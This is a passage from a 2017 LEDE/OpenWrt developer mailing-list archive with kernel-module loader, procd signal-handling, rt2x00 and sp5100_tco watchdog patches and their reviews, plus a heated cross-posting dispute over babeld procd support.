@@ -530,16 +613,24 @@ static int iterations = 0;
 static int load_modprobe(void)
 {
 	int loaded, todo;
+	struct module_node *mn;
 	struct module *m;
 
-	avl_for_each_element(&modules, m, avl)
+	avl_for_each_element(&modules, mn, avl) {
+		if (mn->is_alias)
+			continue;
+		m = mn->m;
 		if (m->state == PROBE)
 			load_moddeps(m);
+	}
 
 	do {
 		loaded = 0;
 		todo = 0;
-		avl_for_each_element(&modules, m, avl) {
+		avl_for_each_element(&modules, mn, avl) {
+			if (mn->is_alias)
+				continue;
+			m = mn->m;
 			if ((m->state == PROBE) && (!deps_available(m, 0))) {
 				if (!insert_module(get_module_path(m->name), (m->opts) ? (m->opts) : (""))) {
 					m->state = LOADED;
@@ -663,13 +754,17 @@ static int main_rmmod(int argc, char **argv)
 
 static int main_lsmod(int argc, char **argv)
 {
+	struct module_node *mn;
 	struct module *m;
 	char *dep;
 
 	if (scan_loaded_modules())
 		return -1;
 
-	avl_for_each_element(&modules, m, avl)
+	avl_for_each_element(&modules, mn, avl) {
+		if (mn->is_alias)
+			continue;
+		m = mn->m;
 		if (m->state == LOADED) {
 			printf("%-20s%8d%3d ",
 				m->name, m->size, m->usage);
@@ -684,6 +779,7 @@ static int main_lsmod(int argc, char **argv)
 			}
 			printf("\n");
 		}
+	}
 
 	free_modules();
 
@@ -721,6 +817,7 @@ static int main_modinfo(int argc, char **argv)
 
 static int main_modprobe(int argc, char **argv)
 {
+	struct module_node *mn;
 	struct module *m;
 	char *name;
 	char *mod = NULL;
@@ -734,10 +831,10 @@ static int main_modprobe(int argc, char **argv)
 	if (!mod)
 		return print_usage("modprobe");
 
-	if (scan_loaded_modules())
+	if (scan_module_folders())
 		return -1;
 
-	if (scan_module_folders())
+	if (scan_loaded_modules())
 		return -1;
 
 	name = get_module_name(mod);
@@ -758,9 +855,13 @@ static int main_modprobe(int argc, char **argv)
 			ULOG_ERR("%d module%s could not be probed\n",
 			         fail, (fail == 1) ? ("") : ("s"));
 
-			avl_for_each_element(&modules, m, avl)
+			avl_for_each_element(&modules, mn, avl) {
+				if (mn->is_alias)
+					continue;
+				m = mn->m;
 				if ((m->state == PROBE) || m->error)
 					ULOG_ERR("- %s\n", m->name);
+			}
 		}
 	}
 
@@ -773,6 +874,7 @@ static int main_loader(int argc, char **argv)
 {
 	int gl_flags = GLOB_NOESCAPE | GLOB_MARK;
 	char *dir = "/etc/modules.d/";
+	struct module_node *mn;
 	struct module *m;
 	glob_t gl;
 	char *path;
@@ -785,12 +887,12 @@ static int main_loader(int argc, char **argv)
 	strcpy(path, dir);
 	strcat(path, "*");
 
-	if (scan_loaded_modules()) {
+	if (scan_module_folders()) {
 		free (path);
 		return -1;
 	}
 
-	if (scan_module_folders()) {
+	if (scan_loaded_modules()) {
 		free (path);
 		return -1;
 	}
@@ -843,9 +945,13 @@ static int main_loader(int argc, char **argv)
 		ULOG_ERR("%d module%s could not be probed\n",
 		         fail, (fail == 1) ? ("") : ("s"));
 
-		avl_for_each_element(&modules, m, avl)
+		avl_for_each_element(&modules, mn, avl) {
+			if (mn->is_alias)
+				continue;
+			m = mn->m;
 			if ((m->state == PROBE) || (m->error))
 				ULOG_ERR("- %s - %d\n", m->name, deps_available(m, 1));
+		}
 	} else {
 		ULOG_INFO("done loading kernel modules from %s\n", path);
 	}
-- 
2.6.4



From yszhou4tech at gmail.com  Fri Jan 13 09:00:35 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Sat, 14 Jan 2017 01:00:35 +0800
Subject: [LEDE-DEV] [PATCH v2 ubox 6/6] kmodloader: make insert_module()
 idempotent
In-Reply-To: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
References: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484326835-32472-7-git-send-email-yszhou4tech@gmail.com>

To fix spurious error messages in the following situation

 1. scan loaded modules
 2. load wireguard.ko and the module itself will request xt_hashlimit to
    be loaded
 3. xt_hashlimit is still in PROBE state here so we also try to load it,
    but init_module() returns EEXIST

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/kmodloader.c b/kmodloader.c
index bcb213b..729027a 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -574,8 +574,11 @@ static int insert_module(char *path, const char *options)
 	}
 
 	data = malloc(s.st_size);
-	if (read(fd, data, s.st_size) == s.st_size)
+	if (read(fd, data, s.st_size) == s.st_size) {
 		ret = syscall(__NR_init_module, data, (unsigned long) s.st_size, options);
+		if (errno == EEXIST)
+			ret = 0;
+	}
 	else
 		ULOG_ERR("failed to read full module %s\n", path);
 
-- 
2.6.4



From dave.taht at gmail.com  Fri Jan 13 09:07:48 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Fri, 13 Jan 2017 09:07:48 -0800
Subject: [LEDE-DEV] [Babel-users] Babeld now has procd support on
 OpenWRT/LEDE
In-Reply-To: <122102904.2531994.1484323877487@mail.yahoo.com>
References: <20170112210152.GB32650@tuxmachine.polynome.dn42>
 <CAA93jw4T+wsSmUoqaqb6KNrZEAZNeojJw_wGoOTdExUj7nzRCQ@mail.gmail.com>
 <2059669512.2430440.1484309292798@mail.yahoo.com>
 <CAA93jw5d3yj3w7w99XLf1OT1Pi2O_tQK7gOxR0uW0_kTL+TtaQ@mail.gmail.com>
 <122102904.2531994.1484323877487@mail.yahoo.com>
Message-ID: <CAA93jw5PVE0ty7L-uozyBPFCCKRqQFzE9uaFT0tEXyC-qeEaZw@mail.gmail.com>

On Fri, Jan 13, 2017 at 8:11 AM, L. D. Pinney <ldpinney at yahoo.com> wrote:
> Go back to playing the guitar and smoking dope....that's what you do best.

I look forward very much to doing more of that... after lede ships.

In the interim, I have two fairly large testbeds setup to test lede -
the ATF patch, the dnsmasq-dnssec code, the bcp38 code, the dhcpv6-pd
code, the new bridging code, and babel integration are all high on my
list, along with sch_cake and the sqm-scripts. I have 5 lede platforms
under test - the archer c7v2, wndr3800, linksys 1200ac, uap-lite, and
picostation, with two more that I plan to add after testing interop
(edgerouter and an apu2). There are also 3 different brands of
cablemodem in the loop. Test clients include a dozen hackerboards
(kernels going back to 3.10), OSX, and Linux.

I'm perpetually testing edge cases and things that seem like they
should work, but don't. While things are vague and confusing (like,
babel-1.8's behavior being confusing in some instances) - and a piece
of a puzzle lands (like not restarting it as much, thus causing less
route retractions and floods) - I do tend to dump partial state about
the rathole I may have been going down.

I've been trying to come up with tests for understanding the true
effects of the multicast-unicast bridging code, for wifi primarily,
and simplifying. At the moment I'm more trying to test 3 layers of
lede dhcp-pd (bridged and routed scenarios) across gear that needs to
interop...

... instead of dealing with how all that feeds into babel source
specific routing - which is a combination of interactions between
netifd, babeld, and multicast/bridging.

>
> STOP CROSS POSTING YOU FSCKin' Clown Boy

If these projects want to write "no cross posting ever" into the
rules, I will gladly comply.

I hope you get your caps-lock key fixed.

I'm going to just filter out all further postings from you into my trash folder.


>
> On Saturday, January 14, 2017 12:06 AM, Dave Taht <dave.taht at gmail.com>
> wrote:
>
>
> On Fri, Jan 13, 2017 at 4:08 AM, L. D. Pinney <ldpinney at yahoo.com> wrote:
>> DAVE :
>>
>> WILL YOU PLEASE STOP YOUR FSCKin' CROSS POSTING ???
>
> I did not start the cross-post in this case.
>
>> This is UNRELATED to the OpenWrt / LEDE DEV mailing list...as the change
>> has
>> been merged.
>
> Interop with routing protocols... and networking in general... does
> exist outside of the openwrt universe. In my case I am deeply
> concerned about what happens against older, deployed versions of
> Linuxes (and other OSes) with the new multicast-unicast bridge
> conversion code in lede. Babel tends to use it, and I am also testing
> (in lede!), as per the below, the dhcpv6-pd code, interop-ing with
> several devices.
>
>> F O
>
> I'm really sorry that you hate cross posting so much. It must be
> terrible to have to elide additional responses or deal with bounce
> messages on every 20th email from me. And it must be wonderful to be
> living in a world where all you have is openwrt/lede devices on the
> network and modern kernels everywhere.
>
>>
>> On Friday, January 13, 2017 5:20 AM, Dave Taht <dave.taht at gmail.com>
>> wrote:
>>
>>
>> On Thu, Jan 12, 2017 at 1:01 PM, Baptiste Jonglez
>> <baptiste at bitsofnetworks.org> wrote:
>>> Hi,
>>>
>>> Here is yet another OpenWRT-related change for babeld: I just merged
>>> procd
>>> support for babeld [2], after more than two years of lingering [1].
>>>
>>> The only user-visible changes should be:
>>>
>>> - babeld now logs to the system log (visible with "logread") instead of a
>>>  file in /var/log.  This is nice for embedded devices, where you don't
>>>  want to write too much to the filesystem.  It is still possible to
>>>  explicitly configure babeld to use a log file;
>>>
>>> - babeld is now restarted automatically whenever it crashes;
>>>
>>> - the usual procd niceties: calling "/etc/init.d/babeld reload" will
>>>  restart babeld only if the configuration has changed.
>>>
>>>
>>> Please test babeld 1.8.0-2 and report any resulting breakage.  I would
>>> like this change (and the other compatibility change) to make it into the
>>> upcoming LEDE release, which is due to happen quite soon.
>>
>> Groovy.
>>
>> lede can dynamically insert/delete routes into tables from netifd
>> babeld can pull routes from "protos" but not tables.
>>
>> I spoke with hedecker (? can't remember his email) about somehow
>> having a field to export routes into kernel protos in the lede network
>> file, he indicated he'd look at it in a few weeks.
>>
>> (I wanted to get away from ever having to revise the conf file
>> dynamically, but it looks like not this release. Not having to restart
>> babeld as per the above is a nice improvement though and I'll get on
>> testing it this weekend. At the moment I'm going through some mild
>> hell with dhcpv6-pd on comcast and adding "sonic" fiber (with a HE
>> ipv6 tunnel. Will hopefully have 4 source specific gateways to play
>> with here)
>>
>> In other other news the "rabeld" backport of the gentler route switch
>> change loses kernel routes on the vyatta (3.10 based) OS in the
>> edgerouter. :(. That said, haven't tested mainline babeld there yet.
>> It seems to work on debian.
>>
>> For those fiddling with edgerouter's default 1.9.x OS, backports of
>> cake, iproute, and rabeld are presently here:
>> https://build.lochnair.net/
>>
>>
>>> Baptiste
>>>
>>> [1] https://github.com/openwrt-routing/packages/pull/55
>>> [2] https://github.com/openwrt-routing/packages/pull/250
>>
>>>
>>> _______________________________________________
>>> Babel-users mailing list
>>> Babel-users at lists.alioth.debian.org
>>> http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/babel-users
>>
>>
>>
>> --
>> Dave T?ht
>> Let's go make home routers and wifi faster! With better software!
>> http://blog.cerowrt.org
>>
>> _______________________________________________
>> Lede-dev mailing list
>> Lede-dev at lists.infradead.org
>> http://lists.infradead.org/mailman/listinfo/lede-dev
>
>>
>>
>>
>
>
>
> --
> Dave T?ht
> Let's go make home routers and wifi faster! With better software!
> http://blog.cerowrt.org
>
>



-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From bb at npl.de  Fri Jan 13 09:28:23 2017
From: bb at npl.de (Bastian Bittorf)
Date: Fri, 13 Jan 2017 18:28:23 +0100
Subject: [LEDE-DEV] [PATCH v2] procd: update procd.sh to support both:
 signal-names and signal-numbers
Message-ID: <20170113172823.GA29821@medion.lan>

It is automatically detected if the input is an integer. If not,
the name is converted to the corresonding number. In general it's
good style to use names (readability) and it's more portable: signal
numbers can be architecture-dependent, so we are more safe giving names.

A real world example is signal 10, which is BUS on ramips and USR1 on PPC.

Signed-off-by: Bastian Bittorf <bb at npl.de>
---

Changelog:
v2: give example in decription and safe 1 line of code

 package/system/procd/files/procd.sh | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/package/system/procd/files/procd.sh b/package/system/procd/files/procd.sh
index 8f18cda..0a441b1 100644
--- a/package/system/procd/files/procd.sh
+++ b/package/system/procd/files/procd.sh
@@ -200,6 +200,7 @@ _procd_add_jail_mount_rw() {
 
 _procd_set_param() {
 	local type="$1"; shift
+	local obj old_obj signal
 
 	case "$type" in
 		env|data|limits)
@@ -213,9 +214,17 @@ _procd_set_param() {
 			json_add_string "" "$@"
 			json_close_array
 		;;
-		nice|reload_signal)
+		nice)
 			json_add_int "$type" "$1"
 		;;
+		reload_signal)
+			signal="$1"
+			test "$signal" -eq "$signal" 2>/dev/null || {
+				for obj in $( kill -l ) NOT_FOUND; do test "$signal" = "$obj" && break; old_obj="$obj"; done
+				signal="${old_obj%)}"
+			}
+			json_add_int "$type" "$signal"
+		;;
 		pidfile|user|seccomp|capabilities)
 			json_add_string "$type" "$1"
 		;;
-- 
1.9.1



From champetier.etienne at gmail.com  Fri Jan 13 10:03:28 2017
From: champetier.etienne at gmail.com (Etienne Champetier)
Date: Fri, 13 Jan 2017 10:03:28 -0800
Subject: [LEDE-DEV] [PATCH v2] procd: update procd.sh to support both:
 signal-names and signal-numbers
In-Reply-To: <20170113172823.GA29821@medion.lan>
References: <20170113172823.GA29821@medion.lan>
Message-ID: <CAOdf3gpdF7gN0RqddfjtxiV-C_WTSJFHWVRa_J45mRgPs9EY3A@mail.gmail.com>

Hi Bastian,


2017-01-13 9:28 GMT-08:00 Bastian Bittorf <bb at npl.de>:
> It is automatically detected if the input is an integer. If not,
> the name is converted to the corresonding number. In general it's
> good style to use names (readability) and it's more portable: signal
> numbers can be architecture-dependent, so we are more safe giving names.
>
> A real world example is signal 10, which is BUS on ramips and USR1 on PPC.

If we know supporting signal number will lead to bug, why not remove it?

My 2 cents
Etienne


>
> Signed-off-by: Bastian Bittorf <bb at npl.de>
> ---
>
> Changelog:
> v2: give example in decription and safe 1 line of code
>
>  package/system/procd/files/procd.sh | 11 ++++++++++-
>  1 file changed, 10 insertions(+), 1 deletion(-)
>
> diff --git a/package/system/procd/files/procd.sh b/package/system/procd/files/procd.sh
> index 8f18cda..0a441b1 100644
> --- a/package/system/procd/files/procd.sh
> +++ b/package/system/procd/files/procd.sh
> @@ -200,6 +200,7 @@ _procd_add_jail_mount_rw() {
>
>  _procd_set_param() {
>         local type="$1"; shift
> +       local obj old_obj signal
>
>         case "$type" in
>                 env|data|limits)
> @@ -213,9 +214,17 @@ _procd_set_param() {
>                         json_add_string "" "$@"
>                         json_close_array
>                 ;;
> -               nice|reload_signal)
> +               nice)
>                         json_add_int "$type" "$1"
>                 ;;
> +               reload_signal)
> +                       signal="$1"
> +                       test "$signal" -eq "$signal" 2>/dev/null || {
> +                               for obj in $( kill -l ) NOT_FOUND; do test "$signal" = "$obj" && break; old_obj="$obj"; done
> +                               signal="${old_obj%)}"
> +                       }
> +                       json_add_int "$type" "$signal"
> +               ;;
>                 pidfile|user|seccomp|capabilities)
>                         json_add_string "$type" "$1"
>                 ;;
> --
> 1.9.1
>
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From bb at npl.de  Fri Jan 13 10:12:28 2017
From: bb at npl.de (Bastian Bittorf)
Date: Fri, 13 Jan 2017 19:12:28 +0100
Subject: [LEDE-DEV] [PATCH v2] procd: update procd.sh to support both:
 signal-names and signal-numbers
In-Reply-To: <CAOdf3gpdF7gN0RqddfjtxiV-C_WTSJFHWVRa_J45mRgPs9EY3A@mail.gmail.com>
References: <20170113172823.GA29821@medion.lan>
 <CAOdf3gpdF7gN0RqddfjtxiV-C_WTSJFHWVRa_J45mRgPs9EY3A@mail.gmail.com>
Message-ID: <20170113181228.GB16611@medion.lan>

* Etienne Champetier <champetier.etienne at gmail.com> [13.01.2017 19:07]:
> > A real world example is signal 10, which is BUS on ramips and USR1 on PPC.
> 
> If we know supporting signal number will lead to bug, why not remove it?

for the moment we should be backward compatible.
after everybody has changed the calls, we should
indeed remove signal numbers...

command 'git grep procd_send_signal' shows, that
only 'odhcpd' is a user, but how many external packages?

bye, bastian


From jo at mein.io  Fri Jan 13 10:31:04 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Fri, 13 Jan 2017 19:31:04 +0100
Subject: [LEDE-DEV] [PATCH v2] procd: update procd.sh to support both:
 signal-names and signal-numbers
In-Reply-To: <20170113181228.GB16611@medion.lan>
References: <20170113172823.GA29821@medion.lan>
 <CAOdf3gpdF7gN0RqddfjtxiV-C_WTSJFHWVRa_J45mRgPs9EY3A@mail.gmail.com>
 <20170113181228.GB16611@medion.lan>
Message-ID: <2CD4DD4B-3522-4AE7-90C3-A2DC3C07258F@mein.io>

Hi Bastian,

you do not need to iterate the entire list, passing the signal name directly is way simpler:

case "$val" in
  [0-9]|[0-9][0-9]) : ;;
  *) val=$(kill -l "$value") || return ;;
esac

~ Jo




From champetier.etienne at gmail.com  Fri Jan 13 10:31:48 2017
From: champetier.etienne at gmail.com (Etienne Champetier)
Date: Fri, 13 Jan 2017 10:31:48 -0800
Subject: [LEDE-DEV] [PATCH v2] procd: update procd.sh to support both:
 signal-names and signal-numbers
In-Reply-To: <20170113181228.GB16611@medion.lan>
References: <20170113172823.GA29821@medion.lan>
 <CAOdf3gpdF7gN0RqddfjtxiV-C_WTSJFHWVRa_J45mRgPs9EY3A@mail.gmail.com>
 <20170113181228.GB16611@medion.lan>
Message-ID: <CAOdf3goAqaiM-14utLh5aOvJSqz6JqxafojnCjAxu5GOXsuuPA@mail.gmail.com>

2017-01-13 10:12 GMT-08:00 Bastian Bittorf <bb at npl.de>:
> * Etienne Champetier <champetier.etienne at gmail.com> [13.01.2017 19:07]:
>> > A real world example is signal 10, which is BUS on ramips and USR1 on PPC.
>>
>> If we know supporting signal number will lead to bug, why not remove it?
>
> for the moment we should be backward compatible.
> after everybody has changed the calls, we should
> indeed remove signal numbers...
>
> command 'git grep procd_send_signal' shows, that
> only 'odhcpd' is a user, but how many external packages?

It's a month old, so i don't think there is a lot of "external" user if any,
and if there is, pretty sure the maintainer is following this ML

If you really don't want to break backward compatibility now, maybe
add a warning?

>
> bye, bastian


From bb at npl.de  Fri Jan 13 11:22:51 2017
From: bb at npl.de (Bastian Bittorf)
Date: Fri, 13 Jan 2017 20:22:51 +0100
Subject: [LEDE-DEV] [PATCH v3] procd: update procd.sh to disallow
 signal-numbers, enforce signal-names
Message-ID: <20170113192251.GA7195@medion.lan>

A given signal-name is now converted to the corresonding number. In general
it's good style to use names (readability) and it's more portable: signal
numbers can be architecture-dependent, so we are more safe giving names.

A real world example is signal 10, which is BUS on ramips and USR1 on PPC.

All users of 'procd_send_signal' must change their code to reflect this.

Signed-off-by: Bastian Bittorf <bb at npl.de>
---

Changelog:
v2: give example in decription and safe 1 line of code
v3: simplify code (do not parse kill-output, but give an argument to kill)
    enforce using of names instead of numbers
    thanks for suggestions to 'Etienne Champetier' and 'Jo-Philipp Wich'


 package/system/procd/files/procd.sh | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/package/system/procd/files/procd.sh b/package/system/procd/files/procd.sh
index 8f18cda..a1b9f2f 100644
--- a/package/system/procd/files/procd.sh
+++ b/package/system/procd/files/procd.sh
@@ -213,9 +213,12 @@ _procd_set_param() {
 			json_add_string "" "$@"
 			json_close_array
 		;;
-		nice|reload_signal)
+		nice)
 			json_add_int "$type" "$1"
 		;;
+		reload_signal)
+			json_add_int "$type" $(kill -l "$1")
+		;;
 		pidfile|user|seccomp|capabilities)
 			json_add_string "$type" "$1"
 		;;
-- 
1.9.1



From chunkeey at googlemail.com  Fri Jan 13 15:21:00 2017
From: chunkeey at googlemail.com (Christian Lamparter)
Date: Sat, 14 Jan 2017 00:21:00 +0100
Subject: image: when using the new image build code,
 gzip ext4 images by default
Message-ID: <11788235.orKgnQQoUj@debian64>

This is a comment on the patch:
>commit 87b668765e1e987aebef8cf0aae657569b631477
>Author: Felix Fietkau <nbd at nbd.name>
>Date:   Fri Jan 13 15:58:37 2017 +0100
>
>   image: when using the new image build code, gzip ext4 images by default
>
>   This reduces the amount of hacks in the makefile code.
>
>   Remove the apm821xx code to do the same - it was broken and left both
>   compressed and uncompressed images in $(BIN_DIR)

Let me explain that apm821xx code.

The uncompressed image was left in place because it allowed "easy install
method" by just using dd with the image on the original WD firmware. 
I refered to this method in the commit [0]:

>    The extracted/raw image can be directly installed on
>    the internal HDD via "dd if=img.ext4 of=/dev/sdX".
>
>    This can either be done in place with the stock MyBook Live
>    firmware via ssh. Or by removing the HDD and writing the image
>    with a different PC.
>
>    The the compressed images are useful for sysupgrade.

so there was some reason behind the uncompressed and compressed image.

Of course, back then the generated ext4 images where like 50-60 MiB.
So I'm fine with the change. But I would like to document the change
somewhere. Editing my wiki [1] is easy enough, but I would like to
move the article to LEDE's wiki. 

So how do I do that? 

[Actually, I want to know: If it is possible to add new articles to 
the wiki for supported devices in LEDE (not OpenWRT sadly) now - and
what format these articles should have.
As far as I can tell the current ToH just links to wiki.openwrt.org.
So I'm looking for a sample/template that just needs to be customized
for the different apm821xx targets.]

Regards,
Christian

[0] <https://git.lede-project.org/?p=source.git;a=commit;h=dc7efaefb53d4671893add07934839eb8d44934d>
[1] <https://github.com/chunkeey/apm82181-lede/wiki/Western-Digital-MyBook-Live>


From toke at toke.dk  Sat Jan 14 02:23:47 2017
From: toke at toke.dk (=?utf-8?Q?Toke_H=C3=B8iland-J=C3=B8rgensen?=)
Date: Sat, 14 Jan 2017 11:23:47 +0100
Subject: [LEDE-DEV] [Babel-users] Babeld now has procd support on
 OpenWRT/LEDE
In-Reply-To: <122102904.2531994.1484323877487@mail.yahoo.com> (L. D. Pinney's
 message of "Fri, 13 Jan 2017 16:11:17 +0000 (UTC)")
References: <20170112210152.GB32650@tuxmachine.polynome.dn42>
 <CAA93jw4T+wsSmUoqaqb6KNrZEAZNeojJw_wGoOTdExUj7nzRCQ@mail.gmail.com>
 <2059669512.2430440.1484309292798@mail.yahoo.com>
 <CAA93jw5d3yj3w7w99XLf1OT1Pi2O_tQK7gOxR0uW0_kTL+TtaQ@mail.gmail.com>
 <122102904.2531994.1484323877487@mail.yahoo.com>
Message-ID: <87tw92kki4.fsf@toke.dk>

"L. D. Pinney" <ldpinney at yahoo.com> writes:

> Go back to playing the guitar and smoking dope....that's what you do best.
>
> STOP CROSS POSTING YOU FSCKin' Clown Boy

Dude, seriously? Lay off the abuse. Even if your argument had any merit,
this kind of language is uncalled for...

-Toke


From martin.blumenstingl at googlemail.com  Sat Jan 14 04:16:55 2017
From: martin.blumenstingl at googlemail.com (Martin Blumenstingl)
Date: Sat, 14 Jan 2017 13:16:55 +0100
Subject: [OpenWrt-Devel] upstreaming (most) rt2x00 patches
In-Reply-To: <20170114024400.GA1726@makrotopia.org>
References: <20170112143546.GA23263@makrotopia.org>
 <CAFBinCAPnPK0LoJrNdYR65dWTTsSfAe8xS2jtqZ9QvtmHGu+=g@mail.gmail.com>
 <20170114024400.GA1726@makrotopia.org>
Message-ID: <CAFBinCDj40=j-CGhsa0cyHRfBf20qkSvA2my_3eJKb0CDjdA3w@mail.gmail.com>

On Sat, Jan 14, 2017 at 3:44 AM, Daniel Golle <daniel at makrotopia.org> wrote:
> Hi Martin,
>
> On Sat, Jan 14, 2017 at 01:28:06AM +0100, Martin Blumenstingl wrote:
>> On Thu, Jan 12, 2017 at 3:35 PM, Daniel Golle <daniel at makrotopia.org> wrote:
>> > Hi!
>> >
>> > The amount of patches on top of rt2x00 has grown into a huge pile
>> > during the past couple of years. To get things into a shape that allow
>> > discussing and merging them upstream, I created a tree on github based
>> > on wireless-drivers-next.git:
>> >
>> > https://github.com/dangowrt/linux/commits/rt2x00-from-openwrt
>> >
>> > I had to fix up some of Gabor's patches to still apply on the updated
>> > code base, but apart from those small fixes, things still apply cleanly
>> > on that tree.
>> > Imho the patch adding support for MT7620 still needs some more cleaning
>> > (I fixed some white-space and indention issues already), and both
>> > MT7620 and RT5350 still use mdelay and udelay which should be replaced
>> > in the same way done for other codepaths upstream. It'd also be great
>> > not to mess up RFxxxx and RTxxxx, ie. correctly set the RFxxxx value
>> > for RT5350 and MT7620 according to the actual RF IP used on those
>> > chips. Just for clarification, RT6352 was later renamed to MT7620
>> >
>> > I for now didn't add any of the EEPROM-related patches, I a suppose
>> > that only read_eeprom_from_mtd() should go upstream and all file and
>> > firmware-loading mechanics can be considered legacy.
>> are you sure about removing the firmware-loading mechanism? I recently
>> *added* this to ath9k upstream due to the following problems we had
>> with "ath9k calibration data":
>> 1. calibration data is stored inside a UBI volume on some ar71xx and
>> lantiq devices
>> 2. calibration data is stored on an unaligned offset inside the NOR
>> flash of some lantiq (Fritz Box) devices
>> 3. some calibration data is simply broken (vendors did a swab16(),
>> messing up the position of some fields so we need another swab16() to
>> get valid calibration data)
>
> I'm fully aware of that and fully agree with you.
> However, the current state of rt2x00 eeprom loading hacks wasn't in
> shape for being sent upstream imho, ie. obvious things like missing
> additions to Documentation/devicetree/bindings/ and remaining
> platform_data legacy make it unlikely to have those patches merged
> at this stage.
> Apart from that, Mathias Kresin has recently been improving EEPROM
> loading on rt2x00 and once all the rest is in shape upstream he should
> just submit that on top once completed and cleaned up (ie. patches
> adding EEPROM file reading in various ways if requested via device-tree
> should be folded up, legacy platform_data stuff should be omitted).
then I just misunderstood you, problem solved!

>> there's also a similar discussion going on for wl1251 because there
>> seem to be devices where the calibration data is obfuscated, etc.
>> see [0] for more information on the wl1251 topic
>
> Interesting. Does that mean that the N900 hardware is now fully
> supported by kernel.org/torvalds/linux.git ?
seems so, but I don't have a N900 and I've only been following the
discussion loosely

>> apart from that: thank you for taking the time to upstream this
>> (building a pile of patches which *could* be upstreamed and
>> maintaining them for a very long time doesn't make us better than all
>> the vendors with their custom stacks, so big thanks :))!
>
> I recently started seeing new hope in rt2x00 as things were already
> working quite nicely with our current patchset (apart from MT7620
> which imho still needs quite some more work. If noone else comes first
> I might do that at some point).
>
> Now the driver has also received a lot of improvements related to
> aggregation upstream, so it might finally get somewhere near to the
> performance seen with ath9k. Adding proper upstream support for the
> WiSoC chips seems crucial, given the popularity of chips like the
> Rt5350, also to open the doors to other vanilla Linux based
> distributions on those platforms.
I actually used a device with RT3062F a bit more than a year ago,
because the main device I tried to use had crashing ath10k firmware
(due to some platforms not liking DMA bursts: [0]) and really poor
ath9k performance (due to [1]).
the device with RT3062F "just worked".

(so much for the off-topic stuff...)


[0] https://patchwork.kernel.org/patch/7173811/
[1] https://www.spinics.net/lists/linux-wireless/msg138953.html


From chrisrblake93 at gmail.com  Sat Jan 14 08:20:25 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Sat, 14 Jan 2017 10:20:25 -0600
Subject: [LEDE-DEV] [PATCH 2/4] x86: add kernel module for sp5100_tco
 watchdog
In-Reply-To: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
Message-ID: <1484410827-30973-2-git-send-email-chrisrblake93@gmail.com>

This change adds the sp5100_tco driver as a kernel module for the x86
target. Specifically, this can be used by the PCEngines APU2/APU3. The
reason for having this as a kernel module is to allow users to
load/unload it on demand, as the I2C interface on the APU2/APU3 will not
work while this module is loaded. More info can be found on GitHub at
https://github.com/riptidewave93/LEDE-APU2/pull/5#issuecomment-255667736

Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
---
 target/linux/x86/modules.mk | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/target/linux/x86/modules.mk b/target/linux/x86/modules.mk
index 656500b..87733c2 100644
--- a/target/linux/x86/modules.mk
+++ b/target/linux/x86/modules.mk
@@ -19,3 +19,18 @@ define KernelPackage/sound-cs5535audio/description
 endef

 $(eval $(call KernelPackage,sound-cs5535audio))
+
+define KernelPackage/sp5100_tco
+  SUBMENU:=$(OTHER_MENU)
+  TITLE:=SP5100 Watchdog Support
+  DEPENDS:=@TARGET_x86
+  KCONFIG:=CONFIG_SP5100_TCO
+  FILES:=$(LINUX_DIR)/drivers/watchdog/sp5100_tco.ko
+  AUTOLOAD:=$(call AutoLoad,50,sp5100_tco,1)
+endef
+
+define KernelPackage/sp5100_tco/description
+ Kernel module for the SP5100_TCO hardware watchdog.
+endef
+
+$(eval $(call KernelPackage,sp5100_tco))
--
2.7.4


From chrisrblake93 at gmail.com  Sat Jan 14 08:20:24 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Sat, 14 Jan 2017 10:20:24 -0600
Subject: [LEDE-DEV] [PATCH 1/4] x86: Add sp5100_tco AMD patches
Message-ID: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>

This adds the following patches to the x86 target:

sp5100_tco: Add AMD Mullins platform support
sp5100_tco: Add AMD Carrizo platform support
sp5100_tco: fix the device check for SB800 and later chipsets
watchdog: sp5100_tco: properly check for new register layouts

With these added, the sp5100_tco driver can then be used on newer AMD
platforms, such as the PCEngines APU2/APU3 boards.

Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
---
 ...5100_tco-Add-AMD-Mullins-platform-support.patch | 30 ++++++++
 ...5100_tco-Add-AMD-Carrizo-platform-support.patch | 31 +++++++++
 ...device-check-for-SB800-and-later-chipsets.patch | 80 ++++++++++++++++++++++
 ...5100_tco-properly-check-for-new-register-.patch | 76 ++++++++++++++++++++
 4 files changed, 217 insertions(+)
 create mode 100644 target/linux/x86/patches-4.4/097-0001-sp5100_tco-Add-AMD-Mullins-platform-support.patch
 create mode 100644 target/linux/x86/patches-4.4/097-0002-sp5100_tco-Add-AMD-Carrizo-platform-support.patch
 create mode 100644 target/linux/x86/patches-4.4/097-0003-sp5100_tco-fix-the-device-check-for-SB800-and-later-chipsets.patch
 create mode 100644 target/linux/x86/patches-4.4/097-0004-watchdog-sp5100_tco-properly-check-for-new-register-.patch

diff --git a/target/linux/x86/patches-4.4/097-0001-sp5100_tco-Add-AMD-Mullins-platform-support.patch b/target/linux/x86/patches-4.4/097-0001-sp5100_tco-Add-AMD-Mullins-platform-support.patch
new file mode 100644
index 0000000..ee88859
--- /dev/null
+++ b/target/linux/x86/patches-4.4/097-0001-sp5100_tco-Add-AMD-Mullins-platform-support.patch
@@ -0,0 +1,30 @@
